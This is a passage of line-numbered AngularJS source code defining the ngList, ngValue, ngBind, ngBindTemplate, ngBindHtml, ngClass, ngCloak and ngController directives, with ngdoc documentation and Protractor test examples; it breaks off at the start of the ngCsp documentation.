18028 expect(valid.getText()).toContain('false');
18029 expect(error.getCssValue('display')).not.toBe('none'); });
18030 </file>
18031 </example>
18032 */
18033 var ngListDirective = function() {
18034 return {
18035 require: 'ngModel',
18036 link: function(scope, element, attr, ctrl) {
18037 var match = /\/(.*)\//.exec(attr.ngList),
18038 separator = match && new RegExp(match[1]) || attr.ngList || ',';
18039
18040 var parse = function(viewValue) {
18041 // If the viewValue is invalid (say required but empty) it will be `undefined`
18042 if (isUndefined(viewValue)) return;
18043
18044 var list = [];
18045
18046 if (viewValue) {
18047 forEach(viewValue.split(separator), function(value) {
18048 if (value) list.push(trim(value));
18049 });
18050 }
18051
18052 return list;
18053 };
18054
18055 ctrl.$parsers.push(parse);
18056 ctrl.$formatters.push(function(value) {
18057 if (isArray(value)) {
18058 return value.join(', ');
18059 }
18060
18061 return undefined;
18062 });
18063
18064 // Override the standard $isEmpty because an empty array means the input is empty.
18065 ctrl.$isEmpty = function(value) {
18066 return !value || !value.length;
18067 };
18068 }
18069 };
18070 };
18071
18072
18073 var CONSTANT_VALUE_REGEXP = /^(true|false|\d+)$/;
18074 /**
18075 * @ngdoc directive
18076 * @name ngValue
18077 *
18078 * @description
18079 * Binds the given expression to the value of `input[select]` or `input[radio]`, so
18080 * that when the element is selected, the `ngModel` of that element is set to the
18081 * bound value.
18082 *
18083 * `ngValue` is useful when dynamically generating lists of radio buttons using `ng-repeat`, as
18084 * shown below.
18085 *
18086 * @element input
18087 * @param {string=} ngValue angular expression, whose value will be bound to the `value` attribute
18088 * of the `input` element
18089 *
18090 * @example
18091 <example name="ngValue-directive" module="valueExample">
18092 <file name="index.html">
18093 <script>
18094 angular.module('valueExample', [])
18095 .controller('ExampleController', ['$scope', function($scope) {
18096 $scope.names = ['pizza', 'unicorns', 'robots'];
18097 $scope.my = { favorite: 'unicorns' };
18098 }]);
18099 </script>
18100 <form ng-controller="ExampleController">
18101 <h2>Which is your favorite?</h2>
18102 <label ng-repeat="name in names" for="{{name}}">
18103 {{name}}
18104 <input type="radio"
18105 ng-model="my.favorite"
18106 ng-value="name"
18107 id="{{name}}"
18108 name="favorite">
18109 </label>
18110 <div>You chose {{my.favorite}}</div>
18111 </form>
18112 </file>
18113 <file name="protractor.js" type="protractor">
18114 var favorite = element(by.binding('my.favorite'));
18115
18116 it('should initialize to model', function() {
18117 expect(favorite.getText()).toContain('unicorns');
18118 });
18119 it('should bind the values to the inputs', function() {
18120 element.all(by.model('my.favorite')).get(0).click();
18121 expect(favorite.getText()).toContain('pizza');
18122 });
18123 </file>
18124 </example>
18125 */
18126 var ngValueDirective = function() {
18127 return {
18128 priority: 100,
18129 compile: function(tpl, tplAttr) {
18130 if (CONSTANT_VALUE_REGEXP.test(tplAttr.ngValue)) {
18131 return function ngValueConstantLink(scope, elm, attr) {
18132 attr.$set('value', scope.$eval(attr.ngValue));
18133 };
18134 } else {
18135 return function ngValueLink(scope, elm, attr) {
18136 scope.$watch(attr.ngValue, function valueWatchAction(value) {
18137 attr.$set('value', value);
18138 });
18139 };
18140 }
18141 }
18142 };
18143 };
18144
18145 /**
18146 * @ngdoc directive
18147 * @name ngBind
18148 * @restrict AC
18149 *
18150 * @description
18151 * The `ngBind` attribute tells Angular to replace the text content of the specified HTML element
18152 * with the value of a given expression, and to update the text content when the value of that
18153 * expression changes.
18154 *
18155 * Typically, you don't use `ngBind` directly, but instead you use the double curly markup like
18156 * `{{ expression }}` which is similar but less verbose.
18157 *
18158 * It is preferable to use `ngBind` instead of `{{ expression }}` if a template is momentarily
18159 * displayed by the browser in its raw state before Angular compiles it. Since `ngBind` is an
18160 * element attribute, it makes the bindings invisible to the user while the page is loading.
18161 *
18162 * An alternative solution to this problem would be using the
18163 * {@link ng.directive:ngCloak ngCloak} directive.
18164 *
18165 *
18166 * @element ANY
18167 * @param {expression} ngBind {@link guide/expression Expression} to evaluate.
18168 *
18169 * @example
18170 * Enter a name in the Live Preview text box; the greeting below the text box changes instantly.
18171 <example module="bindExample">
18172 <file name="index.html">
18173 <script>
18174 angular.module('bindExample', [])
18175 .controller('ExampleController', ['$scope', function($scope) {
18176 $scope.name = 'Whirled';
18177 }]);
18178 </script>
18179 <div ng-controller="ExampleController">
18180 Enter name: <input type="text" ng-model="name"><br>
18181 Hello <span ng-bind="name"></span>!
18182 </div>
18183 </file>
18184 <file name="protractor.js" type="protractor">
18185 it('should check ng-bind', function() {
18186 var nameInput = element(by.model('name'));
18187
18188 expect(element(by.binding('name')).getText()).toBe('Whirled');
18189 nameInput.clear();
18190 nameInput.sendKeys('world');
18191 expect(element(by.binding('name')).getText()).toBe('world');
18192 });
18193 </file>
18194 </example>
18195 */
18196 var ngBindDirective = ngDirective({
18197 compile: function(templateElement) {
18198 templateElement.addClass('ng-binding');
18199 return function (scope, element, attr) {
18200 element.data('$binding', attr.ngBind);
18201 scope.$watch(attr.ngBind, function ngBindWatchAction(value) {
18202 // We are purposefully using == here rather than === because we want to
18203 // catch when value is "null or undefined"
18204 // jshint -W041
18205 element.text(value == undefined ? '' : value);
18206 });
18207 };
18208 }
18209 });
18210
18211
18212 /**
18213 * @ngdoc directive
18214 * @name ngBindTemplate
18215 *
18216 * @description
18217 * The `ngBindTemplate` directive specifies that the element
18218 * text content should be replaced with the interpolation of the template
18219 * in the `ngBindTemplate` attribute.
18220 * Unlike `ngBind`, the `ngBindTemplate` can contain multiple `{{` `}}`
18221 * expressions. This directive is needed since some HTML elements
18222 * (such as TITLE and OPTION) cannot contain SPAN elements.
18223 *
18224 * @element ANY
18225 * @param {string} ngBindTemplate template of form
18226 * <tt>{{</tt> <tt>expression</tt> <tt>}}</tt> to eval.
18227 *
18228 * @example
18229 * Try it here: enter text in text box and watch the greeting change.
18230 <example module="bindExample">
18231 <file name="index.html">
18232 <script>
18233 angular.module('bindExample', [])
18234 .controller('ExampleController', ['$scope', function ($scope) {
18235 $scope.salutation = 'Hello';
18236 $scope.name = 'World';
18237 }]);
18238 </script>
18239 <div ng-controller="ExampleController">
18240 Salutation: <input type="text" ng-model="salutation"><br>
18241 Name: <input type="text" ng-model="name"><br>
18242 <pre ng-bind-template="{{salutation}} {{name}}!"></pre>
18243 </div>
18244 </file>
18245 <file name="protractor.js" type="protractor">
18246 it('should check ng-bind', function() {
18247 var salutationElem = element(by.binding('salutation'));
18248 var salutationInput = element(by.model('salutation'));
18249 var nameInput = element(by.model('name'));
18250
18251 expect(salutationElem.getText()).toBe('Hello World!');
18252
18253 salutationInput.clear();
18254 salutationInput.sendKeys('Greetings');
18255 nameInput.clear();
18256 nameInput.sendKeys('user');
18257
18258 expect(salutationElem.getText()).toBe('Greetings user!');
18259 });
18260 </file>
18261 </example>
18262 */
18263 var ngBindTemplateDirective = ['$interpolate', function($interpolate) {
18264 return function(scope, element, attr) {
18265 // TODO: move this to scenario runner
18266 var interpolateFn = $interpolate(element.attr(attr.$attr.ngBindTemplate));
18267 element.addClass('ng-binding').data('$binding', interpolateFn);
18268 attr.$observe('ngBindTemplate', function(value) {
18269 element.text(value);
18270 });
18271 };
18272 }];
18273
18274
18275 /**
18276 * @ngdoc directive
18277 * @name ngBindHtml
18278 *
18279 * @description
18280 * Creates a binding that will innerHTML the result of evaluating the `expression` into the current
18281 * element in a secure way. By default, the innerHTML-ed content will be sanitized using the {@link
18282 * ngSanitize.$sanitize $sanitize} service. To utilize this functionality, ensure that `$sanitize`
18283 * is available, for example, by including {@link ngSanitize} in your module's dependencies (not in
18284 * core Angular.) You may also bypass sanitization for values you know are safe. To do so, bind to
18285 * an explicitly trusted value via {@link ng.$sce#trustAsHtml $sce.trustAsHtml}. See the example
18286 * under {@link ng.$sce#Example Strict Contextual Escaping (SCE)}.
18287 *
18288 * Note: If a `$sanitize` service is unavailable and the bound value isn't explicitly trusted, you
18289 * will have an exception (instead of an exploit.)
18290 *
18291 * @element ANY
18292 * @param {expression} ngBindHtml {@link guide/expression Expression} to evaluate.
18293 *
18294 * @example
18295
18296 <example module="bindHtmlExample" deps="angular-sanitize.js">
18297 <file name="index.html">
18298 <div ng-controller="ExampleController">
18299 <p ng-bind-html="myHTML"></p>
18300 </div>
18301 </file>
18302
18303 <file name="script.js">
18304 angular.module('bindHtmlExample', ['ngSanitize'])
18305 .controller('ExampleController', ['$scope', function($scope) {
18306 $scope.myHTML =
18307 'I am an <code>HTML</code>string with ' +
18308 '<a href="#">links!</a> and other <em>stuff</em>';
18309 }]);
18310 </file>
18311
18312 <file name="protractor.js" type="protractor">
18313 it('should check ng-bind-html', function() {
18314 expect(element(by.binding('myHTML')).getText()).toBe(
18315 'I am an HTMLstring with links! and other stuff');
18316 });
18317 </file>
18318 </example>
18319 */
18320 var ngBindHtmlDirective = ['$sce', '$parse', function($sce, $parse) {
18321 return {
18322 compile: function (tElement) {
18323 tElement.addClass('ng-binding');
18324
18325 return function (scope, element, attr) {
18326 element.data('$binding', attr.ngBindHtml);
18327
18328 var parsed = $parse(attr.ngBindHtml);
18329
18330 function getStringValue() {
18331 return (parsed(scope) || '').toString();
18332 }
18333
18334 scope.$watch(getStringValue, function ngBindHtmlWatchAction(value) {
18335 element.html($sce.getTrustedHtml(parsed(scope)) || '');
18336 });
18337 };
18338 }
18339 };
18340 }];
18341
18342 function classDirective(name, selector) {
18343 name = 'ngClass' + name;
18344 return ['$animate', function($animate) {
18345 return {
18346 restrict: 'AC',
18347 link: function(scope, element, attr) {
18348 var oldVal;
18349
18350 scope.$watch(attr[name], ngClassWatchAction, true);
18351
18352 attr.$observe('class', function(value) {
18353 ngClassWatchAction(scope.$eval(attr[name]));
18354 });
18355
18356
18357 if (name !== 'ngClass') {
18358 scope.$watch('$index', function($index, old$index) {
18359 // jshint bitwise: false
18360 var mod = $index & 1;
18361 if (mod !== (old$index & 1)) {
18362 var classes = arrayClasses(scope.$eval(attr[name]));
18363 mod === selector ?
18364 addClasses(classes) :
18365 removeClasses(classes);
18366 }
18367 });
18368 }
18369
18370 function addClasses(classes) {
18371 var newClasses = digestClassCounts(classes, 1);
18372 attr.$addClass(newClasses);
18373 }
18374
18375 function removeClasses(classes) {
18376 var newClasses = digestClassCounts(classes, -1);
18377 attr.$removeClass(newClasses);
18378 }
18379
18380 function digestClassCounts (classes, count) {
18381 var classCounts = element.data('$classCounts') || {};
18382 var classesToUpdate = [];
18383 forEach(classes, function (className) {
18384 if (count > 0 || classCounts[className]) {
18385 classCounts[className] = (classCounts[className] || 0) + count;
18386 if (classCounts[className] === +(count > 0)) {
18387 classesToUpdate.push(className);
18388 }
18389 }
18390 });
18391 element.data('$classCounts', classCounts);
18392 return classesToUpdate.join(' ');
18393 }
18394
18395 function updateClasses (oldClasses, newClasses) {
18396 var toAdd = arrayDifference(newClasses, oldClasses);
18397 var toRemove = arrayDifference(oldClasses, newClasses);
18398 toRemove = digestClassCounts(toRemove, -1);
18399 toAdd = digestClassCounts(toAdd, 1);
18400
18401 if (toAdd.length === 0) {
18402 $animate.removeClass(element, toRemove);
18403 } else if (toRemove.length === 0) {
18404 $animate.addClass(element, toAdd);
18405 } else {
18406 $animate.setClass(element, toAdd, toRemove);
18407 }
18408 }
18409
18410 function ngClassWatchAction(newVal) {
18411 if (selector === true || scope.$index % 2 === selector) {
18412 var newClasses = arrayClasses(newVal || []);
18413 if (!oldVal) {
18414 addClasses(newClasses);
18415 } else if (!equals(newVal,oldVal)) {
18416 var oldClasses = arrayClasses(oldVal);
18417 updateClasses(oldClasses, newClasses);
18418 }
18419 }
18420 oldVal = shallowCopy(newVal);
18421 }
18422 }
18423 };
18424
18425 function arrayDifference(tokens1, tokens2) {
18426 var values = [];
18427
18428 outer:
18429 for(var i = 0; i < tokens1.length; i++) {
18430 var token = tokens1[i];
18431 for(var j = 0; j < tokens2.length; j++) {
18432 if(token == tokens2[j]) continue outer;
18433 }
18434 values.push(token);
18435 }
18436 return values;
18437 }
18438
18439 function arrayClasses (classVal) {
18440 if (isArray(classVal)) {
18441 return classVal;
18442 } else if (isString(classVal)) {
18443 return classVal.split(' ');
18444 } else if (isObject(classVal)) {
18445 var classes = [], i = 0;
18446 forEach(classVal, function(v, k) {
18447 if (v) {
18448 classes = classes.concat(k.split(' '));
18449 }
18450 });
18451 return classes;
18452 }
18453 return classVal;
18454 }
18455 }];
18456 }
18457
18458 /**
18459 * @ngdoc directive
18460 * @name ngClass
18461 * @restrict AC
18462 *
18463 * @description
18464 * The `ngClass` directive allows you to dynamically set CSS classes on an HTML element by databinding
18465 * an expression that represents all classes to be added.
18466 *
18467 * The directive operates in three different ways, depending on which of three types the expression
18468 * evaluates to:
18469 *
18470 * 1. If the expression evaluates to a string, the string should be one or more space-delimited class
18471 * names.
18472 *
18473 * 2. If the expression evaluates to an array, each element of the array should be a string that is
18474 * one or more space-delimited class names.
18475 *
18476 * 3. If the expression evaluates to an object, then for each key-value pair of the
18477 * object with a truthy value the corresponding key is used as a class name.
18478 *
18479 * The directive won't add duplicate classes if a particular class was already set.
18480 *
18481 * When the expression changes, the previously added classes are removed and only then the
18482 * new classes are added.
18483 *
18484 * @animations
18485 * add - happens just before the class is applied to the element
18486 * remove - happens just before the class is removed from the element
18487 *
18488 * @element ANY
18489 * @param {expression} ngClass {@link guide/expression Expression} to eval. The result
18490 * of the evaluation can be a string representing space delimited class
18491 * names, an array, or a map of class names to boolean values. In the case of a map, the
18492 * names of the properties whose values are truthy will be added as css classes to the
18493 * element.
18494 *
18495 * @example Example that demonstrates basic bindings via ngClass directive.
18496 <example>
18497 <file name="index.html">
18498 <p ng-class="{strike: deleted, bold: important, red: error}">Map Syntax Example</p>
18499 <input type="checkbox" ng-model="deleted"> deleted (apply "strike" class)<br>
18500 <input type="checkbox" ng-model="important"> important (apply "bold" class)<br>
18501 <input type="checkbox" ng-model="error"> error (apply "red" class)
18502 <hr>
18503 <p ng-class="style">Using String Syntax</p>
18504 <input type="text" ng-model="style" placeholder="Type: bold strike red">
18505 <hr>
18506 <p ng-class="[style1, style2, style3]">Using Array Syntax</p>
18507 <input ng-model="style1" placeholder="Type: bold, strike or red"><br>
18508 <input ng-model="style2" placeholder="Type: bold, strike or red"><br>
18509 <input ng-model="style3" placeholder="Type: bold, strike or red"><br>
18510 </file>
18511 <file name="style.css">
18512 .strike {
18513 text-decoration: line-through;
18514 }
18515 .bold {
18516 font-weight: bold;
18517 }
18518 .red {
18519 color: red;
18520 }
18521 </file>
18522 <file name="protractor.js" type="protractor">
18523 var ps = element.all(by.css('p'));
18524
18525 it('should let you toggle the class', function() {
18526
18527 expect(ps.first().getAttribute('class')).not.toMatch(/bold/);
18528 expect(ps.first().getAttribute('class')).not.toMatch(/red/);
18529
18530 element(by.model('important')).click();
18531 expect(ps.first().getAttribute('class')).toMatch(/bold/);
18532
18533 element(by.model('error')).click();
18534 expect(ps.first().getAttribute('class')).toMatch(/red/);
18535 });
18536
18537 it('should let you toggle string example', function() {
18538 expect(ps.get(1).getAttribute('class')).toBe('');
18539 element(by.model('style')).clear();
18540 element(by.model('style')).sendKeys('red');
18541 expect(ps.get(1).getAttribute('class')).toBe('red');
18542 });
18543
18544 it('array example should have 3 classes', function() {
18545 expect(ps.last().getAttribute('class')).toBe('');
18546 element(by.model('style1')).sendKeys('bold');
18547 element(by.model('style2')).sendKeys('strike');
18548 element(by.model('style3')).sendKeys('red');
18549 expect(ps.last().getAttribute('class')).toBe('bold strike red');
18550 });
18551 </file>
18552 </example>
18553
18554 ## Animations
18555
18556 The example below demonstrates how to perform animations using ngClass.
18557
18558 <example module="ngAnimate" deps="angular-animate.js" animations="true">
18559 <file name="index.html">
18560 <input id="setbtn" type="button" value="set" ng-click="myVar='my-class'">
18561 <input id="clearbtn" type="button" value="clear" ng-click="myVar=''">
18562 <br>
18563 <span class="base-class" ng-class="myVar">Sample Text</span>
18564 </file>
18565 <file name="style.css">
18566 .base-class {
18567 -webkit-transition:all cubic-bezier(0.250, 0.460, 0.450, 0.940) 0.5s;
18568 transition:all cubic-bezier(0.250, 0.460, 0.450, 0.940) 0.5s;
18569 }
18570
18571 .base-class.my-class {
18572 color: red;
18573 font-size:3em;
18574 }
18575 </file>
18576 <file name="protractor.js" type="protractor">
18577 it('should check ng-class', function() {
18578 expect(element(by.css('.base-class')).getAttribute('class')).not.
18579 toMatch(/my-class/);
18580
18581 element(by.id('setbtn')).click();
18582
18583 expect(element(by.css('.base-class')).getAttribute('class')).
18584 toMatch(/my-class/);
18585
18586 element(by.id('clearbtn')).click();
18587
18588 expect(element(by.css('.base-class')).getAttribute('class')).not.
18589 toMatch(/my-class/);
18590 });
18591 </file>
18592 </example>
18593
18594
18595 ## ngClass and pre-existing CSS3 Transitions/Animations
18596 The ngClass directive still supports CSS3 Transitions/Animations even if they do not follow the ngAnimate CSS naming structure.
18597 Upon animation ngAnimate will apply supplementary CSS classes to track the start and end of an animation, but this will not hinder
18598 any pre-existing CSS transitions already on the element. To get an idea of what happens during a class-based animation, be sure
18599 to view the step by step details of {@link ngAnimate.$animate#addclass $animate.addClass} and
18600 {@link ngAnimate.$animate#removeclass $animate.removeClass}.
18601 */
18602 var ngClassDirective = classDirective('', true);
18603
18604 /**
18605 * @ngdoc directive
18606 * @name ngClassOdd
18607 * @restrict AC
18608 *
18609 * @description
18610 * The `ngClassOdd` and `ngClassEven` directives work exactly as
18611 * {@link ng.directive:ngClass ngClass}, except they work in
18612 * conjunction with `ngRepeat` and take effect only on odd (even) rows.
18613 *
18614 * This directive can be applied only within the scope of an
18615 * {@link ng.directive:ngRepeat ngRepeat}.
18616 *
18617 * @element ANY
18618 * @param {expression} ngClassOdd {@link guide/expression Expression} to eval. The result
18619 * of the evaluation can be a string representing space delimited class names or an array.
18620 *
18621 * @example
18622 <example>
18623 <file name="index.html">
18624 <ol ng-init="names=['John', 'Mary', 'Cate', 'Suz']">
18625 <li ng-repeat="name in names">
18626 <span ng-class-odd="'odd'" ng-class-even="'even'">
18627 {{name}}
18628 </span>
18629 </li>
18630 </ol>
18631 </file>
18632 <file name="style.css">
18633 .odd {
18634 color: red;
18635 }
18636 .even {
18637 color: blue;
18638 }
18639 </file>
18640 <file name="protractor.js" type="protractor">
18641 it('should check ng-class-odd and ng-class-even', function() {
18642 expect(element(by.repeater('name in names').row(0).column('name')).getAttribute('class')).
18643 toMatch(/odd/);
18644 expect(element(by.repeater('name in names').row(1).column('name')).getAttribute('class')).
18645 toMatch(/even/);
18646 });
18647 </file>
18648 </example>
18649 */
18650 var ngClassOddDirective = classDirective('Odd', 0);
18651
18652 /**
18653 * @ngdoc directive
18654 * @name ngClassEven
18655 * @restrict AC
18656 *
18657 * @description
18658 * The `ngClassOdd` and `ngClassEven` directives work exactly as
18659 * {@link ng.directive:ngClass ngClass}, except they work in
18660 * conjunction with `ngRepeat` and take effect only on odd (even) rows.
18661 *
18662 * This directive can be applied only within the scope of an
18663 * {@link ng.directive:ngRepeat ngRepeat}.
18664 *
18665 * @element ANY
18666 * @param {expression} ngClassEven {@link guide/expression Expression} to eval. The
18667 * result of the evaluation can be a string representing space delimited class names or an array.
18668 *
18669 * @example
18670 <example>
18671 <file name="index.html">
18672 <ol ng-init="names=['John', 'Mary', 'Cate', 'Suz']">
18673 <li ng-repeat="name in names">
18674 <span ng-class-odd="'odd'" ng-class-even="'even'">
18675 {{name}} &nbsp; &nbsp; &nbsp;
18676 </span>
18677 </li>
18678 </ol>
18679 </file>
18680 <file name="style.css">
18681 .odd {
18682 color: red;
18683 }
18684 .even {
18685 color: blue;
18686 }
18687 </file>
18688 <file name="protractor.js" type="protractor">
18689 it('should check ng-class-odd and ng-class-even', function() {
18690 expect(element(by.repeater('name in names').row(0).column('name')).getAttribute('class')).
18691 toMatch(/odd/);
18692 expect(element(by.repeater('name in names').row(1).column('name')).getAttribute('class')).
18693 toMatch(/even/);
18694 });
18695 </file>
18696 </example>
18697 */
18698 var ngClassEvenDirective = classDirective('Even', 1);
18699
18700 /**
18701 * @ngdoc directive
18702 * @name ngCloak
18703 * @restrict AC
18704 *
18705 * @description
18706 * The `ngCloak` directive is used to prevent the Angular html template from being briefly
18707 * displayed by the browser in its raw (uncompiled) form while your application is loading. Use this
18708 * directive to avoid the undesirable flicker effect caused by the html template display.
18709 *
18710 * The directive can be applied to the `<body>` element, but the preferred usage is to apply
18711 * multiple `ngCloak` directives to small portions of the page to permit progressive rendering
18712 * of the browser view.
18713 *
18714 * `ngCloak` works in cooperation with the following css rule embedded within `angular.js` and
18715 * `angular.min.js`.
18716 * For CSP mode please add `angular-csp.css` to your html file (see {@link ng.directive:ngCsp ngCsp}).
18717 *
18718 * ```css
18719 * [ng\:cloak], [ng-cloak], [data-ng-cloak], [x-ng-cloak], .ng-cloak, .x-ng-cloak {
18720 * display: none !important;
18721 * }
18722 * ```
18723 *
18724 * When this css rule is loaded by the browser, all html elements (including their children) that
18725 * are tagged with the `ngCloak` directive are hidden. When Angular encounters this directive
18726 * during the compilation of the template it deletes the `ngCloak` element attribute, making
18727 * the compiled element visible.
18728 *
18729 * For the best result, the `angular.js` script must be loaded in the head section of the html
18730 * document; alternatively, the css rule above must be included in the external stylesheet of the
18731 * application.
18732 *
18733 * Legacy browsers, like IE7, do not provide attribute selector support (added in CSS 2.1) so they
18734 * cannot match the `[ng\:cloak]` selector. To work around this limitation, you must add the css
18735 * class `ng-cloak` in addition to the `ngCloak` directive as shown in the example below.
18736 *
18737 * @element ANY
18738 *
18739 * @example
18740 <example>
18741 <file name="index.html">
18742 <div id="template1" ng-cloak>{{ 'hello' }}</div>
18743 <div id="template2" ng-cloak class="ng-cloak">{{ 'hello IE7' }}</div>
18744 </file>
18745 <file name="protractor.js" type="protractor">
18746 it('should remove the template directive and css class', function() {
18747 expect($('#template1').getAttribute('ng-cloak')).
18748 toBeNull();
18749 expect($('#template2').getAttribute('ng-cloak')).
18750 toBeNull();
18751 });
18752 </file>
18753 </example>
18754 *
18755 */
18756 var ngCloakDirective = ngDirective({
18757 compile: function(element, attr) {
18758 attr.$set('ngCloak', undefined);
18759 element.removeClass('ng-cloak');
18760 }
18761 });
18762
18763 /**
18764 * @ngdoc directive
18765 * @name ngController
18766 *
18767 * @description
18768 * The `ngController` directive attaches a controller class to the view. This is a key aspect of how angular
18769 * supports the principles behind the Model-View-Controller design pattern.
18770 *
18771 * MVC components in angular:
18772 *
18773 * * Model — Models are the properties of a scope; scopes are attached to the DOM where scope properties
18774 * are accessed through bindings.
18775 * * View — The template (HTML with data bindings) that is rendered into the View.
18776 * * Controller — The `ngController` directive specifies a Controller class; the class contains business
18777 * logic behind the application to decorate the scope with functions and values
18778 *
18779 * Note that you can also attach controllers to the DOM by declaring it in a route definition
18780 * via the {@link ngRoute.$route $route} service. A common mistake is to declare the controller
18781 * again using `ng-controller` in the template itself. This will cause the controller to be attached
18782 * and executed twice.
18783 *
18784 * @element ANY
18785 * @scope
18786 * @param {expression} ngController Name of a globally accessible constructor function or an
18787 * {@link guide/expression expression} that on the current scope evaluates to a
18788 * constructor function. The controller instance can be published into a scope property
18789 * by specifying `as propertyName`.
18790 *
18791 * @example
18792 * Here is a simple form for editing user contact information. Adding, removing, clearing, and
18793 * greeting are methods declared on the controller (see source tab). These methods can
18794 * easily be called from the angular markup. Any changes to the data are automatically reflected
18795 * in the View without the need for a manual update.
18796 *
18797 * Two different declaration styles are included below:
18798 *
18799 * * one binds methods and properties directly onto the controller using `this`:
18800 * `ng-controller="SettingsController1 as settings"`
18801 * * one injects `$scope` into the controller:
18802 * `ng-controller="SettingsController2"`
18803 *
18804 * The second option is more common in the Angular community, and is generally used in boilerplates
18805 * and in this guide. However, there are advantages to binding properties directly to the controller
18806 * and avoiding scope.
18807 *
18808 * * Using `controller as` makes it obvious which controller you are accessing in the template when
18809 * multiple controllers apply to an element.
18810 * * If you are writing your controllers as classes you have easier access to the properties and
18811 * methods, which will appear on the scope, from inside the controller code.
18812 * * Since there is always a `.` in the bindings, you don't have to worry about prototypal
18813 * inheritance masking primitives.
18814 *
18815 * This example demonstrates the `controller as` syntax.
18816 *
18817 * <example name="ngControllerAs" module="controllerAsExample">
18818 * <file name="index.html">
18819 * <div id="ctrl-as-exmpl" ng-controller="SettingsController1 as settings">
18820 * Name: <input type="text" ng-model="settings.name"/>
18821 * [ <a href="" ng-click="settings.greet()">greet</a> ]<br/>
18822 * Contact:
18823 * <ul>
18824 * <li ng-repeat="contact in settings.contacts">
18825 * <select ng-model="contact.type">
18826 * <option>phone</option>
18827 * <option>email</option>
18828 * </select>
18829 * <input type="text" ng-model="contact.value"/>
18830 * [ <a href="" ng-click="settings.clearContact(contact)">clear</a>
18831 * | <a href="" ng-click="settings.removeContact(contact)">X</a> ]
18832 * </li>
18833 * <li>[ <a href="" ng-click="settings.addContact()">add</a> ]</li>
18834 * </ul>
18835 * </div>
18836 * </file>
18837 * <file name="app.js">
18838 * angular.module('controllerAsExample', [])
18839 * .controller('SettingsController1', SettingsController1);
18840 *
18841 * function SettingsController1() {
18842 * this.name = "John Smith";
18843 * this.contacts = [
18844 * {type: 'phone', value: '408 555 1212'},
18845 * {type: 'email', value: '[email protected]'} ];
18846 * }
18847 *
18848 * SettingsController1.prototype.greet = function() {
18849 * alert(this.name);
18850 * };
18851 *
18852 * SettingsController1.prototype.addContact = function() {
18853 * this.contacts.push({type: 'email', value: '[email protected]'});
18854 * };
18855 *
18856 * SettingsController1.prototype.removeContact = function(contactToRemove) {
18857 * var index = this.contacts.indexOf(contactToRemove);
18858 * this.contacts.splice(index, 1);
18859 * };
18860 *
18861 * SettingsController1.prototype.clearContact = function(contact) {
18862 * contact.type = 'phone';
18863 * contact.value = '';
18864 * };
18865 * </file>
18866 * <file name="protractor.js" type="protractor">
18867 * it('should check controller as', function() {
18868 * var container = element(by.id('ctrl-as-exmpl'));
18869 * expect(container.element(by.model('settings.name'))
18870 * .getAttribute('value')).toBe('John Smith');
18871 *
18872 * var firstRepeat =
18873 * container.element(by.repeater('contact in settings.contacts').row(0));
18874 * var secondRepeat =
18875 * container.element(by.repeater('contact in settings.contacts').row(1));
18876 *
18877 * expect(firstRepeat.element(by.model('contact.value')).getAttribute('value'))
18878 * .toBe('408 555 1212');
18879 *
18880 * expect(secondRepeat.element(by.model('contact.value')).getAttribute('value'))
18881 * .toBe('[email protected]');
18882 *
18883 * firstRepeat.element(by.linkText('clear')).click();
18884 *
18885 * expect(firstRepeat.element(by.model('contact.value')).getAttribute('value'))
18886 * .toBe('');
18887 *
18888 * container.element(by.linkText('add')).click();
18889 *
18890 * expect(container.element(by.repeater('contact in settings.contacts').row(2))
18891 * .element(by.model('contact.value'))
18892 * .getAttribute('value'))
18893 * .toBe('[email protected]');
18894 * });
18895 * </file>
18896 * </example>
18897 *
18898 * This example demonstrates the "attach to `$scope`" style of controller.
18899 *
18900 * <example name="ngController" module="controllerExample">
18901 * <file name="index.html">
18902 * <div id="ctrl-exmpl" ng-controller="SettingsController2">
18903 * Name: <input type="text" ng-model="name"/>
18904 * [ <a href="" ng-click="greet()">greet</a> ]<br/>
18905 * Contact:
18906 * <ul>
18907 * <li ng-repeat="contact in contacts">
18908 * <select ng-model="contact.type">
18909 * <option>phone</option>
18910 * <option>email</option>
18911 * </select>
18912 * <input type="text" ng-model="contact.value"/>
18913 * [ <a href="" ng-click="clearContact(contact)">clear</a>
18914 * | <a href="" ng-click="removeContact(contact)">X</a> ]
18915 * </li>
18916 * <li>[ <a href="" ng-click="addContact()">add</a> ]</li>
18917 * </ul>
18918 * </div>
18919 * </file>
18920 * <file name="app.js">
18921 * angular.module('controllerExample', [])
18922 * .controller('SettingsController2', ['$scope', SettingsController2]);
18923 *
18924 * function SettingsController2($scope) {
18925 * $scope.name = "John Smith";
18926 * $scope.contacts = [
18927 * {type:'phone', value:'408 555 1212'},
18928 * {type:'email', value:'[email protected]'} ];
18929 *
18930 * $scope.greet = function() {
18931 * alert($scope.name);
18932 * };
18933 *
18934 * $scope.addContact = function() {
18935 * $scope.contacts.push({type:'email', value:'[email protected]'});
18936 * };
18937 *
18938 * $scope.removeContact = function(contactToRemove) {
18939 * var index = $scope.contacts.indexOf(contactToRemove);
18940 * $scope.contacts.splice(index, 1);
18941 * };
18942 *
18943 * $scope.clearContact = function(contact) {
18944 * contact.type = 'phone';
18945 * contact.value = '';
18946 * };
18947 * }
18948 * </file>
18949 * <file name="protractor.js" type="protractor">
18950 * it('should check controller', function() {
18951 * var container = element(by.id('ctrl-exmpl'));
18952 *
18953 * expect(container.element(by.model('name'))
18954 * .getAttribute('value')).toBe('John Smith');
18955 *
18956 * var firstRepeat =
18957 * container.element(by.repeater('contact in contacts').row(0));
18958 * var secondRepeat =
18959 * container.element(by.repeater('contact in contacts').row(1));
18960 *
18961 * expect(firstRepeat.element(by.model('contact.value')).getAttribute('value'))
18962 * .toBe('408 555 1212');
18963 * expect(secondRepeat.element(by.model('contact.value')).getAttribute('value'))
18964 * .toBe('[email protected]');
18965 *
18966 * firstRepeat.element(by.linkText('clear')).click();
18967 *
18968 * expect(firstRepeat.element(by.model('contact.value')).getAttribute('value'))
18969 * .toBe('');
18970 *
18971 * container.element(by.linkText('add')).click();
18972 *
18973 * expect(container.element(by.repeater('contact in contacts').row(2))
18974 * .element(by.model('contact.value'))
18975 * .getAttribute('value'))
18976 * .toBe('[email protected]');
18977 * });
18978 * </file>
18979 *</example>
18980
18981 */
18982 var ngControllerDirective = [function() {
18983 return {
18984 scope: true,
18985 controller: '@',
18986 priority: 500
18987 };
18988 }];
18989
18990 /**
18991 * @ngdoc directive
18992 * @name ngCsp
18993 *
18994 * @element html
18995 * @description
18996 * Enables [CSP (Content Security Policy)](https://developer.mozilla.org/en/Security/CSP) support.
18997 *
18998 * This is necessary when developing things like Google Chrome Extensions.
18999 *
